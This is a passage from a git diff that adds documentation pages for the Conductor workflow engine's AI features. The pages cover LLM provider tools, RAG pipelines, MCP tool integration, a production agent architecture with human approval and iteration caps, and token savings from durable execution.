Perplexity | ✓ | — | — | +| Grok (xAI) | ✓ | ✓ | — | +| StabilityAI | — | — | — | + +No other open source workflow engine provides native LLM orchestration at this breadth. Each provider is a configuration — switch models by changing a parameter, not your code. + + +## Built-in tools & advanced capabilities + +Conductor supports provider-native tools that run on the provider's infrastructure — no MCP server or custom worker needed. Enable them with a single parameter in the `LLM_CHAT_COMPLETE` task. + +| Capability | Parameter | OpenAI | Anthropic | Google Gemini | +|---|---|---|---|---| +| Web Search | `webSearch: true` | ✓ | ✓ | ✓ | +| Code Execution | `codeInterpreter: true` | ✓ (code_interpreter) | ✓ (code_execution) | ✓ (code_execution) | +| File Search | `fileSearchVectorStoreIds: [...]` | ✓ | — | — | +| Extended Thinking | `thinkingTokenLimit: N` | — | ✓ | ✓ | +| Reasoning Effort | `reasoningEffort: "high"` | ✓ | — | — | +| Google Search | `googleSearchRetrieval: true` | — | — | ✓ | +| Custom Functions | `tools: [...]` | ✓ | ✓ | ✓ | + +### Web search + +The LLM can search the web for real-time information during chat completion. Enable it with `"webSearch": true`: + +```json +{ + "type": "LLM_CHAT_COMPLETE", + "inputParameters": { + "llmProvider": "openai", + "model": "gpt-4o-mini", + "messages": [{"role": "user", "message": "What happened in tech news today?"}], + "webSearch": true + } +} +``` + +Works with OpenAI, Anthropic, and Google Gemini. Each provider uses its own native web search implementation. + +### Code execution + +The LLM can write and execute code in a sandboxed environment. Enable it with `"codeInterpreter": true`: + +```json +{ + "type": "LLM_CHAT_COMPLETE", + "inputParameters": { + "llmProvider": "google_gemini", + "model": "gemini-2.5-flash", + "messages": [{"role": "user", "message": "Calculate the first 100 prime numbers and plot them"}], + "codeInterpreter": true + } +} +``` + +Use this for data analysis, chart generation, mathematical computation, or any task that benefits from running code. + +### Extended thinking + +Give the LLM a token budget for step-by-step reasoning before it responds. Useful for complex problems that benefit from chain-of-thought reasoning: + +```json +{ + "type": "LLM_CHAT_COMPLETE", + "inputParameters": { + "llmProvider": "anthropic", + "model": "claude-sonnet-4-20250514", + "messages": [{"role": "user", "message": "Prove that there are infinitely many primes"}], + "thinkingTokenLimit": 10000, + "maxTokens": 16000 + } +} +``` + +Supported by Anthropic and Google Gemini. + + +## Vector database workflows + +Built-in vector database integration enables RAG (retrieval-augmented generation) pipelines as standard vector database workflows. + +| Vector Database | Store Embeddings | Index Text | Semantic Search | +|---|---|---|---| +| Pinecone | ✓ | ✓ | ✓ | +| pgvector (PostgreSQL) | ✓ | ✓ | ✓ | +| MongoDB Atlas Vector Search | ✓ | ✓ | ✓ | + + +### Example: RAG pipeline + +A complete RAG workflow using native system tasks — index documents, search, and generate an answer. No custom workers required. + +```json +{ + "name": "rag_pipeline", + "description": "Index documents, search, and generate RAG answer", + "version": 1, + "schemaVersion": 2, + "tasks": [ + { + "name": "index_document", + "taskReferenceName": "index_ref", + "type": "LLM_INDEX_TEXT", + "inputParameters": { + "vectorDB": "postgres-prod", + "index": "knowledge_base", + "namespace": "docs", + "docId": "${workflow.input.docId}", + "text": "${workflow.input.text}", + "embeddingModelProvider": "openai", + "embeddingModel": "text-embedding-3-small", + "dimensions": 1536, + "metadata": "${workflow.input.metadata}" + } + }, + { + "name": "search_index", + "taskReferenceName": "search_ref", + "type": "LLM_SEARCH_INDEX", + "inputParameters": { + "vectorDB": "postgres-prod", + "index": "knowledge_base", + "namespace": "docs", + "query": "${workflow.input.question}", + "embeddingModelProvider": "openai", + "embeddingModel": "text-embedding-3-small", + "dimensions": 1536, + "maxResults": 3 + } + }, + { + "name": "generate_answer", + "taskReferenceName": "answer_ref", + "type": "LLM_CHAT_COMPLETE", + "inputParameters": { + "llmProvider": "openai", + "model": "gpt-4o-mini", + "messages": [ + { + "role": "system", + "message": "Answer the question using only the provided context." + }, + { + "role": "user", + "message": "Context:\n${search_ref.output.result}\n\nQuestion: ${workflow.input.question}" + } + ], + "temperature": 0.2 + } + } + ], + "outputParameters": { + "searchResults": "${search_ref.output.result}", + "answer": "${answer_ref.output.result}" + } +} +``` + +Every task type — `LLM_INDEX_TEXT`, `LLM_SEARCH_INDEX`, `LLM_CHAT_COMPLETE` — is a native Conductor system task. The vector database, embedding model, and LLM provider are all configuration parameters. Switch from pgvector to Pinecone or from OpenAI to Anthropic by changing a parameter value. + + +## Content generation + +Native system tasks for multimodal content generation: + +| Task | Type | Description | +|---|---|---| +| Generate Image | `GENERATE_IMAGE` | Text-to-image generation via AI models | +| Generate Audio | `GENERATE_AUDIO` | Text-to-speech synthesis | +| Generate Video | `GENERATE_VIDEO` | Text/image-to-video generation (async) | +| Generate PDF | `GENERATE_PDF` | Markdown-to-PDF document conversion | + + +## Examples + +Ready-to-use workflow definitions for every AI task type. Each example is a complete JSON workflow you can register and run directly. + +| Example | Task types used | +|---|---| +| [Chat Completion](https://github.com/conductor-oss/conductor/blob/main/ai/examples/01-chat-completion.json) | `LLM_CHAT_COMPLETE` | +| [Generate Embeddings](https://github.com/conductor-oss/conductor/blob/main/ai/examples/02-generate-embeddings.json) | `LLM_GENERATE_EMBEDDINGS` | +| [Image Generation](https://github.com/conductor-oss/conductor/blob/main/ai/examples/03-image-generation.json) | `GENERATE_IMAGE` | +| [Audio Generation](https://github.com/conductor-oss/conductor/blob/main/ai/examples/04-audio-generation.json) | `GENERATE_AUDIO` | +| [Semantic Search](https://github.com/conductor-oss/conductor/blob/main/ai/examples/05-semantic-search.json) | `LLM_SEARCH_INDEX` | +| [RAG Basic](https://github.com/conductor-oss/conductor/blob/main/ai/examples/06-rag-basic.json) | `LLM_SEARCH_INDEX`, `LLM_CHAT_COMPLETE` | +| [RAG Complete](https://github.com/conductor-oss/conductor/blob/main/ai/examples/07-rag-complete.json) | `LLM_INDEX_TEXT`, `LLM_SEARCH_INDEX`, `LLM_CHAT_COMPLETE` | +| [MCP List Tools](https://github.com/conductor-oss/conductor/blob/main/ai/examples/08-mcp-list-tools.json) | `LIST_MCP_TOOLS` | +| [MCP Call Tool](https://github.com/conductor-oss/conductor/blob/main/ai/examples/09-mcp-call-tool.json) | `CALL_MCP_TOOL` | +| [MCP AI Agent](https://github.com/conductor-oss/conductor/blob/main/ai/examples/10-mcp-ai-agent.json) | `LIST_MCP_TOOLS`, `LLM_CHAT_COMPLETE`, `CALL_MCP_TOOL` | +| [Video — OpenAI Sora](https://github.com/conductor-oss/conductor/blob/main/ai/examples/11-video-openai-sora.json) | `GENERATE_VIDEO` | +| [Video — Gemini Veo](https://github.com/conductor-oss/conductor/blob/main/ai/examples/12-video-gemini-veo.json) | `GENERATE_VIDEO` | +| [Image-to-Video Pipeline](https://github.com/conductor-oss/conductor/blob/main/ai/examples/13-image-to-video-pipeline.json) | `GENERATE_IMAGE`, `GENERATE_VIDEO` | +| [StabilityAI Image](https://github.com/conductor-oss/conductor/blob/main/ai/examples/14-stabilityai-image.json) | `GENERATE_IMAGE` | +| [PDF Generation](https://github.com/conductor-oss/conductor/blob/main/ai/examples/15-pdf-generation.json) | `GENERATE_PDF` | +| [LLM-to-PDF Pipeline](https://github.com/conductor-oss/conductor/blob/main/ai/examples/16-llm-to-pdf-pipeline.json) | `LLM_CHAT_COMPLETE`, `GENERATE_PDF` | +| [Web Search](https://github.com/conductor-oss/conductor/blob/main/ai/examples/17-web-search.json) | `LLM_CHAT_COMPLETE` (web search) | +| [Code Execution](https://github.com/conductor-oss/conductor/blob/main/ai/examples/18-code-execution.json) | `LLM_CHAT_COMPLETE` (code execution) | +| [Coding Agent](https://github.com/conductor-oss/conductor/blob/main/ai/examples/19-coding-agent.json) | `LLM_CHAT_COMPLETE` (code_interpreter) | +| [Extended Thinking](https://github.com/conductor-oss/conductor/blob/main/ai/examples/20-extended-thinking.json) | `LLM_CHAT_COMPLETE` (thinking) | +| [Web Research Agent](https://github.com/conductor-oss/conductor/blob/main/ai/examples/21-web-search-research-agent.json) | `LLM_CHAT_COMPLETE` (web search + thinking), `GENERATE_PDF` | +| [Multi-Turn Chain](https://github.com/conductor-oss/conductor/blob/main/ai/examples/22-multi-turn-chain.json) | `LLM_CHAT_COMPLETE` (previousResponseId) | + +Browse all examples: [`ai/examples/`](https://github.com/conductor-oss/conductor/tree/main/ai/examples) + + +## Next steps + +- **[Durable Agents](durable-agents.md)** — What persists, what gets retried, and why JSON is AI-native. +- **[Dynamic Workflows](dynamic-workflows.md)** — Agents that build their own execution plans at runtime. +- **[AI & LLM Recipes](../cookbook/ai-llm.md)** — Practical recipes for common LLM workflow patterns. diff --git a/docs/devguide/ai/mcp-guide.md b/docs/devguide/ai/mcp-guide.md new file mode 100644 index 0000000..a7db213 --- /dev/null +++ b/docs/devguide/ai/mcp-guide.md @@ -0,0 +1,245 @@ +--- +description: "MCP (Model Context Protocol) integration with Conductor — connect AI agents to external tools, discover tools at runtime, execute with durable retry, and expose workflows as MCP tools." +--- + +# MCP integration + +MCP (Model Context Protocol) is the open standard for connecting AI agents to tools and data sources. Conductor provides native MCP integration — discover tools, call them with full durability, and expose your own workflows as MCP tools. + + +## What is MCP + +MCP defines a protocol for how AI agents discover and use tools. Instead of hardcoding API integrations, your agent asks an MCP server "what tools do you have?" and gets back a structured list. The agent (or the LLM) picks the right tool, and the MCP server executes it. + +**Without MCP:** Every tool integration is custom code — different auth, different schemas, different error handling. + +**With MCP:** Tools are standardized. Connect once, use any MCP-compatible tool server. + +Conductor supports MCP as a first-class integration with two native system tasks. + + +## Native MCP system tasks + +### LIST_MCP_TOOLS — discover available tools + +Queries an MCP server and returns the list of tools it offers, including names, descriptions, and parameter schemas. + +```json +{ + "name": "discover_tools", + "taskReferenceName": "discover", + "type": "LIST_MCP_TOOLS", + "inputParameters": { + "mcpServer": "${workflow.input.mcpServerUrl}" + } +} +``` + +**Output:** A structured list of tools with their schemas. Pass this directly to an LLM so it can decide which tool to call. + +**Why this matters:** Tool discovery happens at runtime. Your agent doesn't need to know which tools exist at design time — it discovers them dynamically. Add a new tool to the MCP server, and every agent using it gains that capability immediately. + + +### CALL_MCP_TOOL — execute a tool + +Calls a specific tool on an MCP server with the given arguments. + +```json +{ + "name": "execute_tool", + "taskReferenceName": "execute", + "type": "CALL_MCP_TOOL", + "inputParameters": { + "mcpServer": "${workflow.input.mcpServerUrl}", + "method": "${plan.output.result.method}", + "arguments": "${plan.output.result.arguments}" + } +} +``` + +**What Conductor adds on top of raw MCP:** + +- **Durable execution** — if the tool call fails, Conductor retries according to the task's retry policy. The retry is automatic and configurable (fixed delay, exponential backoff, linear backoff). +- **Full audit trail** — every tool call is persisted: the method, arguments, response, timing, and retry history. You can inspect exactly what your agent did. +- **Crash recovery** — if the server crashes between tool calls, the workflow resumes from the last completed step. The tool call is never silently lost. +- **Timeout handling** — configure `responseTimeoutSeconds` to prevent stuck tool calls from blocking your agent. + + +## Connecting to MCP servers + +Conductor connects to any MCP server via HTTP. Pass the server URL as a workflow input or hardcode it in the task definition. + +```json +{ + "mcpServer": "http://localhost:3001/mcp" +} +``` + +### Using multiple MCP servers + +An agent can connect to multiple MCP servers in the same workflow. Discover tools from each server, combine the tool lists, and let the LLM choose across all of them: + +```json +{ + "name": "multi_tool_agent", + "version": 1, + "schemaVersion": 2, + "tasks": [ + { + "name": "discover_github_tools", + "taskReferenceName": "github_tools", + "type": "LIST_MCP_TOOLS", + "inputParameters": { + "mcpServer": "http://localhost:3001/mcp" + } + }, + { + "name": "discover_db_tools", + "taskReferenceName": "db_tools", + "type": "LIST_MCP_TOOLS", + "inputParameters": { + "mcpServer": "http://localhost:3002/mcp" + } + }, + { + "name": "plan_with_all_tools", + "taskReferenceName": "plan", + "type": "LLM_CHAT_COMPLETE", + "inputParameters": { + "llmProvider": "openai", + "model": "gpt-4o-mini", + "messages": [ + { + "role": "system", + "message": "Available tools: GitHub: ${github_tools.output.tools}, Database: ${db_tools.output.tools}. User task: ${workflow.input.task}. Pick the best tool. Respond with JSON: {\"server\": \"github\" or \"db\", \"method\": \"tool_name\", \"arguments\": {}}" + } + ], + "temperature": 0.1 + } + } + ] +} +``` + + +## Exposing workflows as MCP tools + +Any Conductor workflow can be exposed as an MCP tool via the MCP Gateway. This means other agents and LLMs can discover and invoke your workflows using the MCP protocol. + +``` +Agent → LIST_MCP_TOOLS → discovers your workflow +Agent → CALL_MCP_TOOL → starts your workflow +Conductor → executes with full durability +Agent → receives structured output +``` + +Your workflow's `inputParameters` become the tool's input schema, and `outputParameters` become the tool's output. The workflow runs with full durable execution guarantees — retries, persistence, compensation — while appearing to the calling agent as a simple tool call. + +This creates a composable architecture: workflows call MCP tools, and workflows *are* MCP tools. Agents can invoke other agents' workflows without knowing they're workflows. + + +## MCP vs HTTP vs custom workers + +| Approach | When to use | +|----------|-------------| +| **MCP** (`LIST_MCP_TOOLS` + `CALL_MCP_TOOL`) | Tools exposed via MCP servers. Dynamic tool discovery. Agent decides which tool to call at runtime. | +| **HTTP** (`HTTP` system task) | Direct API calls with known endpoints. No tool discovery needed. | +| **Custom workers** (`SIMPLE` task) | Complex business logic that needs custom code. Multi-step processing. | + +MCP is the best choice when your agent needs to **discover tools dynamically** or when you want to **standardize tool access** across multiple agents. Use HTTP for simple, known API calls. Use custom workers for logic that doesn't fit into a single API call. + + +## Complete example: MCP agent with approval + +A production-ready agent that discovers tools, plans, gets human approval, executes, and summarizes: + +```json +{ + "name": "mcp_agent_with_approval", + "description": "Discover tools, plan, execute with approval, summarize", + "version": 1, + "schemaVersion": 2, + "inputParameters": ["task", "mcpServerUrl"], + "tasks": [ + { + "name": "list_available_tools", + "taskReferenceName": "discover_tools", + "type": "LIST_MCP_TOOLS", + "inputParameters": { + "mcpServer": "${workflow.input.mcpServerUrl}" + } + }, + { + "name": "decide_which_tools_to_use", + "taskReferenceName": "plan", + "type": "LLM_CHAT_COMPLETE", + "inputParameters": { + "llmProvider": "anthropic", + "model": "claude-sonnet-4-20250514", + "messages": [ + { + "role": "system", + "message": "You are an AI agent. Available tools: ${discover_tools.output.tools}. User wants to: ${workflow.input.task}" + }, + { + "role": "user", + "message": "Which tool should I use and what parameters? Respond with JSON: {\"method\": \"string\", \"arguments\": {}}" + } + ], + "temperature": 0.1, + "maxTokens": 500 + } + }, + { + "name": "human_review", + "taskReferenceName": "approval", + "type": "HUMAN", + "inputParameters": { + "plannedAction": "${plan.output.result}" + } + }, + { + "name": "execute_tool", + "taskReferenceName": "execute", + "type": "CALL_MCP_TOOL", + "inputParameters": { + "mcpServer": "${workflow.input.mcpServerUrl}", + "method": "${plan.output.result.method}", + "arguments": "${plan.output.result.arguments}" + } + }, + { + "name": "summarize_result", + "taskReferenceName": "summarize", + "type": "LLM_CHAT_COMPLETE", + "inputParameters": { + "llmProvider": "anthropic", + "model": "claude-sonnet-4-20250514", + "messages": [ + { + "role": "user", + "message": "The user asked: ${workflow.input.task}\n\nTool result: ${execute.output.content}\n\nSummarize this result for the user." + } + ], + "maxTokens": 500 + } + } + ], + "outputParameters": { + "plan": "${plan.output.result}", + "toolResult": "${execute.output.content}", + "summary": "${summarize.output.result}", + "approvedBy": "${approval.output.reviewer}" + } +} +``` + +Every task type here — `LIST_MCP_TOOLS`, `LLM_CHAT_COMPLETE`, `CALL_MCP_TOOL`, `HUMAN` — is a native Conductor system task. No custom code needed. + + +## Next steps + +- **[Build Your First AI Agent](first-ai-agent.md)** — Step-by-step tutorial using MCP. +- **[Dynamic Workflows](dynamic-workflows.md)** — Agents that generate their own execution plans. +- **[Human-in-the-Loop](human-in-the-loop.md)** — Approval patterns for MCP tool calls. +- **[LLM Orchestration](llm-orchestration.md)** — 12 native LLM providers, vector databases, content generation. diff --git a/docs/devguide/ai/production-agent-architecture.md b/docs/devguide/ai/production-agent-architecture.md new file mode 100644 index 0000000..41fa40c --- /dev/null +++ b/docs/devguide/ai/production-agent-architecture.md @@ -0,0 +1,451 @@ +--- +description: "The canonical reference architecture for building production AI agents on Conductor — end-to-end pattern with planner, tool selection, execution, retry, memory, human approval, long waits, reflection loops, budget caps, and full observability." +--- + +# Production agent architecture + +This is the reference architecture for a durable AI agent on Conductor. Not a toy. Not a feature list. This is the exact pattern for an agent that plans, acts, waits, recovers, and runs in production. + + +## Architecture diagram + +

    + + + + + + + + + + + DO_WHILE — Agent Loop (checkpointed per iteration) + + + + Start + + + + + Discover Tools + LIST_MCP_TOOLS + + + + + Initialize Memory + SET_VARIABLE + + + + + + + Plan Next Action + LLM_CHAT_COMPLETE + + + + + SWITCH + done? + + + + done = true + + + + + needs_approval + + + + + Human Approval + HUMAN (durable pause) + + + + + + + + execute + + + + Execute Tool + CALL_MCP_TOOL + + + + ! + auto-retry + + + + + Update Memory + SET_VARIABLE + + + + + Budget + check + + + + + + next iteration + + + + budget exceeded + + + + + + End + + + + On failure: + failureWorkflow runs + compensation + + + + + Every step persisted + Prompt, response, + tokens, timing + + +
    + + +## The canonical agent pattern + +A production agent has these concerns. Each one maps to a specific Conductor primitive: + +| Agent concern | Conductor primitive | How it works | +|---|---|---| +| **Plan next action** | `LLM_CHAT_COMPLETE` | LLM receives goal + context + tool list, returns structured plan | +| **Select tool at runtime** | `DYNAMIC` task | LLM output determines which task type executes next | +| **Execute tool** | `CALL_MCP_TOOL`, `HTTP`, or `SIMPLE` worker | Tool runs with retry policy, timeout, and full I/O recording | +| **Retry with backoff** | Task definition `retryLogic` | `FIXED`, `EXPONENTIAL_BACKOFF`, or `LINEAR_BACKOFF` — no code needed | +| **Parallel tool calls** | `FORK/JOIN` or `DYNAMIC_FORK` | Fan out to N tools in parallel, join when all complete | +| **Memory / context handoff** | `SET_VARIABLE` + workflow variables | Accumulate results across loop iterations; pass to next LLM call | +| **Human approval gate** | `HUMAN` task | Durable pause. Survives restarts and deploys. Resumes on API signal. | +| **Long wait (hours/days)** | `WAIT` task | Timer-based durable pause. Survives server restarts. | +| **Resume from external event** | `HUMAN` task + webhook/API | External system calls Task Update API. Workflow resumes with payload. | +| **Reflection / evaluation loop** | `DO_WHILE` with LLM-as-judge | Second LLM evaluates output quality; loop continues if below threshold | +| **Budget / iteration cap** | `DO_WHILE` `loopCondition` | `iteration < maxIterations` or token/cost check in loop condition | +| **Termination criteria** | `DO_WHILE` exit + `SWITCH` | LLM sets `done: true`, or evaluator decides goal is met | +| **Delegate to specialist** | `SUB_WORKFLOW` or `START_WORKFLOW` | Spawn child agent. Parent waits. Failure propagates. Full observability across the tree. | +| **Compensation on failure** | `failureWorkflow` | Undo side effects: revoke API calls, send notifications, release resources | +| **Audit trail** | Automatic | Every task's input, output, timing, retry count, and worker ID is persisted | + + +## End-to-end workflow + +Here is the complete agent as a single Conductor workflow. Every step is a native system task or operator — no custom code, no external framework. + +```json +{ + "name": "production_agent", + "description": "Reference architecture: durable production agent", + "version": 1, + "schemaVersion": 2, + "inputParameters": ["goal", "mcpServerUrl", "maxIterations"], + "tasks": [ + { + "name": "discover_tools", + "taskReferenceName": "discover", + "type": "LIST_MCP_TOOLS", + "inputParameters": { + "mcpServer": "${workflow.input.mcpServerUrl}" + } + }, + { + "name": "initialize_memory", + "taskReferenceName": "init_memory", + "type": "SET_VARIABLE", + "inputParameters": { + "context": [], + "actions_taken": [] + } + }, + { + "name": "agent_loop", + "taskReferenceName": "loop", + "type": "DO_WHILE", + "loopCondition": "if ($.loop['plan'].output.result.done == true) { false; } else if ($.loop['plan'].output.iteration >= $.maxIterations) { false; } else { true; }", + "inputParameters": { + "maxIterations": "${workflow.input.maxIterations}" + }, + "loopOver": [ + { + "name": "plan_next_action", + "taskReferenceName": "plan", + "type": "LLM_CHAT_COMPLETE", + "inputParameters": { + "llmProvider": "anthropic", + "model": "claude-sonnet-4-20250514", + "messages": [ + { + "role": "system", + "message": "You are a production AI agent. Goal: ${workflow.input.goal}\n\nAvailable tools: ${discover.output.tools}\n\nPrevious actions and results: ${workflow.variables.context}\n\nDecide the next action. Respond with JSON:\n- To use a tool: {\"action\": \"tool_name\", \"arguments\": {}, \"reasoning\": \"why\", \"needs_approval\": true/false, \"done\": false}\n- To finish: {\"answer\": \"final answer\", \"done\": true}" + } + ], + "temperature": 0.1, + "maxTokens": 1000 + } + }, + { + "name": "check_if_done", + "taskReferenceName": "done_check", + "type": "SWITCH", + "evaluatorType": "javascript", + "expression": "$.plan.output.result.done ? 'done' : ($.plan.output.result.needs_approval ? 'needs_approval' : 'execute')", + "decisionCases": { + "needs_approval": [ + { + "name": "human_approval", + "taskReferenceName": "approval", + "type": "HUMAN", + "inputParameters": { + "plannedAction": "${plan.output.result.action}", + "arguments": "${plan.output.result.arguments}", + "reasoning": "${plan.output.result.reasoning}", + "goal": "${workflow.input.goal}" + } + }, + { + "name": "execute_approved_tool", + "taskReferenceName": "approved_tool_call", + "type": "CALL_MCP_TOOL", + "inputParameters": { + "mcpServer": "${workflow.input.mcpServerUrl}", + "method": "${plan.output.result.action}", + "arguments": "${plan.output.result.arguments}" + } + }, + { + "name": "update_memory_approved", + "taskReferenceName": "mem_update_approved", + "type": "SET_VARIABLE", + "inputParameters": { + "context": "${workflow.variables.context.concat([{action: plan.output.result.action, result: approved_tool_call.output.content, approved: true}])}" + } + } + ], + "execute": [ + { + "name": "execute_tool", + "taskReferenceName": "tool_call", + "type": "CALL_MCP_TOOL", + "inputParameters": { + "mcpServer": "${workflow.input.mcpServerUrl}", + "method": "${plan.output.result.action}", + "arguments": "${plan.output.result.arguments}" + } + }, + { + "name": "update_memory", + "taskReferenceName": "mem_update", + "type": "SET_VARIABLE", + "inputParameters": { + "context": "${workflow.variables.context.concat([{action: plan.output.result.action, result: tool_call.output.content}])}" + } + } + ] + }, + "defaultCase": [] + } + ] + } + ], + "outputParameters": { + "answer": "${loop.output.plan.output.result.answer}", + "iterations": "${loop.output.iteration}", + "actions_taken": "${workflow.variables.context}" + }, + "failureWorkflow": "agent_compensation_workflow" +} +``` + + +## What makes this production-ready + +### Every step is a durable checkpoint + +Each iteration of `DO_WHILE` is persisted before the next begins. If the agent crashes at iteration 15 of 20, it resumes from iteration 15 — not from scratch. Every LLM prompt, response, tool call, and human decision is recorded. + +### Human approval is a durable gate + +The `HUMAN` task pauses the workflow indefinitely. The pause survives server restarts, deploys, and infrastructure changes. When a reviewer approves via the API or UI, the workflow resumes with the approval payload as task output. No polling, no timeouts (unless you configure one), no lost approvals. + +### Retry is automatic and configurable + +Every tool call (`CALL_MCP_TOOL`, `HTTP`, `SIMPLE`) inherits retry behavior from its [task definition](../../documentation/configuration/taskdef.md): + +```json +{ + "name": "execute_tool", + "retryCount": 3, + "retryLogic": "EXPONENTIAL_BACKOFF", + "retryDelaySeconds": 2, + "responseTimeoutSeconds": 30 +} +``` + +If the MCP server is down, Conductor retries with exponential backoff. The LLM is **not** re-called — only the failed tool call retries. + +### Memory persists across iterations + +`SET_VARIABLE` stores accumulated context in workflow variables. These variables are persisted to durable storage and available to every subsequent task. The LLM receives the full history of actions and results on each iteration. + +### Budget cap prevents runaway agents + +The `loopCondition` checks both the agent's `done` flag and an iteration cap. You can also check token usage or cost in the condition. The agent terminates cleanly when the budget is exhausted. + +### Compensation handles side effects + +If the agent fails after taking real-world actions (sent an email, created a record, charged a payment), the `failureWorkflow` runs compensating tasks automatically. The compensation workflow receives the full execution context: which actions succeeded, which failed, and why. + +### Observability is automatic + +Open the Conductor UI to see: + +- The exact task graph for this execution +- Every LLM prompt and response (click any `LLM_CHAT_COMPLETE` task) +- Every tool call with input, output, and timing +- Every human approval with who approved and when +- The iteration count and loop state +- Retry history for any failed task +- The full workflow input, output, and variables + + +## Extending the pattern + +### Add parallel research + +Replace a single tool call with `DYNAMIC_FORK` to fan out to multiple tools in parallel: + +```json +{ + "name": "parallel_research", + "taskReferenceName": "research", + "type": "DYNAMIC_FORK", + "inputParameters": { + "dynamicTasks": "${plan.output.result.parallel_tasks}", + "dynamicTasksInput": "${plan.output.result.task_inputs}" + }, + "dynamicForkTasksParam": "dynamicTasks", + "dynamicForkTasksInputParamName": "dynamicTasksInput" +} +``` + +The LLM decides how many tools to call in parallel and with what inputs. Conductor creates the branches at runtime. + +### Add a reflection / evaluation step + +Insert an LLM-as-judge after tool execution to evaluate output quality: + +```json +{ + "name": "evaluate_result", + "taskReferenceName": "evaluator", + "type": "LLM_CHAT_COMPLETE", + "inputParameters": { + "llmProvider": "anthropic", + "model": "claude-sonnet-4-20250514", + "messages": [ + { + "role": "system", + "message": "Evaluate this result against the goal. Is it sufficient? Respond with JSON: {\"quality\": \"good\" or \"insufficient\", \"feedback\": \"...\"}" + }, + { + "role": "user", + "message": "Goal: ${workflow.input.goal}\nResult: ${tool_call.output.content}" + } + ] + } +} +``` + +If the evaluator returns `insufficient`, the loop continues with the feedback as context for the next planning step. + +### Add long waits + +Insert a `WAIT` task for time-based pauses (rate limiting, cooldown periods, scheduled actions): + +```json +{ + "name": "wait_before_retry", + "taskReferenceName": "cooldown", + "type": "WAIT", + "inputParameters": { + "duration": "1 hour" + } +} +``` + +The wait is durable. The workflow does not consume resources while waiting. After 1 hour — even if the server restarted during that time — the workflow resumes. + +### Delegate to specialist agents + +Use `SUB_WORKFLOW` to spawn a child agent for a specialized task: + +```json +{ + "name": "delegate_to_researcher", + "taskReferenceName": "research_agent", + "type": "SUB_WORKFLOW", + "inputParameters": { + "name": "research_agent_workflow", + "version": 1, + "input": { + "topic": "${plan.output.result.research_topic}", + "mcpServerUrl": "${workflow.input.mcpServerUrl}" + } + } +} +``` + +The parent agent waits for the child to complete. If the child fails, the parent's failure handling kicks in. The entire agent tree is observable in the UI — drill from parent to child to sub-child. + + +## The primitives, mapped + +| "I need my agent to..." | Use this | Why | +|---|---|---| +| Wait for a tool callback | `HUMAN` task or async completion | Durable pause. Resumes on API signal with payload. | +| Sleep until a retry window | `WAIT` task | Timer-based durable pause. Zero resource consumption. | +| Pick the next tool at runtime | `DYNAMIC` task | LLM output determines task type. Resolved at execution time. | +| Call multiple tools in parallel | `FORK/JOIN` or `DYNAMIC_FORK` | Static or runtime-determined parallelism. Join waits for all. | +| Loop until goal is met | `DO_WHILE` | Checkpointed loop. Each iteration persisted. | +| Delegate to a specialist agent | `SUB_WORKFLOW` or `START_WORKFLOW` | Child workflow with full lifecycle management. | +| Accumulate context across steps | `SET_VARIABLE` | Workflow variables persisted to durable storage. | +| Evaluate output quality | `LLM_CHAT_COMPLETE` as evaluator | LLM-as-judge pattern inside the loop. | +| Cap iterations or cost | `DO_WHILE` `loopCondition` | Check iteration count, token usage, or cost. | +| Undo side effects on failure | `failureWorkflow` | Compensation tasks run automatically on workflow failure. | +| Pause for human review | `HUMAN` task | Indefinite durable pause. Survives restarts and deploys. | +| Resume on external event | `HUMAN` task + API/webhook | External system calls Task Update API with payload. | +| Post-process structured output | `INLINE` (JavaScript) or `JSON_JQ_TRANSFORM` | Server-side transforms without a worker. | + + +## Next steps + +- **[Failure Semantics for AI Agents](failure-semantics.md)** — The exact failure contract: what happens under crashes, retries, duplicates, and long waits. +- **[Why Conductor for Agents](why-conductor.md)** — What Conductor gives you out of the box for agentic workflows. +- **[Build Your First AI Agent](first-ai-agent.md)** — Start simple and build up to this architecture in 5 minutes. +- **[MCP Integration](mcp-guide.md)** — Connect to any MCP server, expose workflows as MCP tools. +- **[Token Efficiency](token-efficiency.md)** — How durable execution saves tokens and reduces LLM costs. diff --git a/docs/devguide/ai/token-efficiency.md b/docs/devguide/ai/token-efficiency.md new file mode 100644 index 0000000..2cf39fc --- /dev/null +++ b/docs/devguide/ai/token-efficiency.md @@ -0,0 +1,117 @@ +--- +description: "How durable execution saves LLM tokens and reduces AI costs — crash recovery without re-execution, replay without re-running LLM calls, and the real cost of non-durable agent frameworks." +--- + +# Token efficiency with durable execution + +LLM calls are expensive. Every token costs money, and every re-execution burns tokens that were already paid for. Durable execution eliminates wasted tokens by ensuring that completed work is never lost. + + +## The cost of crashes without durability + +Consider an autonomous agent that runs a 20-step loop. Each iteration calls an LLM (planning) and a tool (execution). The agent is on iteration 18 when the process crashes. + +**Without durable execution:** + +The agent restarts from iteration 1. Iterations 1-17 must re-execute — 17 LLM calls that produce the exact same output as before. The tokens are burned again, the tool calls re-execute (potentially causing duplicate side effects), and the user waits for work that was already done. + +**With Conductor:** + +The agent resumes from iteration 18. Iterations 1-17 are already persisted — their LLM outputs, tool results, and state are all in durable storage. Zero tokens wasted. Zero duplicate tool calls. The agent picks up exactly where it left off. + + +## Where tokens are saved + +### 1. Crash recovery + +Every LLM call in a Conductor workflow is persisted at completion. The prompt, response, token usage, and model are all recorded. If the server, worker, or network fails: + +- Completed LLM calls are **never re-executed**. Their outputs are read from storage. +- Only the in-progress call is retried — and only that single call. +- The workflow resumes from the last persisted state. + +**Token savings:** Proportional to how far the agent progressed before the crash. An agent that crashes at step 18 of 20 saves 17 LLM calls worth of tokens. + +### 2. Retry from failed task + +When a workflow fails (e.g., a tool call returns an error after the LLM planned successfully), you can [retry from the failed task](../../architecture/durable-execution.md#replay-and-recovery). Conductor reuses the outputs of all previously completed tasks. + +**Example:** A 5-task agent workflow fails at task 4 (tool execution). Tasks 1-3 included two LLM calls that consumed 8,000 tokens total. Retry from task 4: + +- Tasks 1-3 are **not re-executed**. Their outputs (including LLM responses) are reused from storage. +- Only task 4 (and anything after it) re-executes. +- **8,000 tokens saved** per retry. + +### 3. Rerun from a specific task + +When you fix a bug in a task definition and [rerun from that task](../../architecture/durable-execution.md#replay-and-recovery), all tasks before it keep their persisted outputs. Upstream LLM calls are not re-executed. + +### 4. Loop checkpointing + +Agent loops (`DO_WHILE`) checkpoint every iteration. If the loop runs 50 iterations and the agent crashes at iteration 48: + +- Iterations 1-47 are persisted with all their LLM calls and tool results. +- Only iteration 48 re-executes. +- **47 iterations of LLM tokens saved.** + +Without durability, the entire loop restarts from iteration 1. + + +## Real-world cost impact + +Here's a concrete example using typical LLM pricing: + +| Scenario | 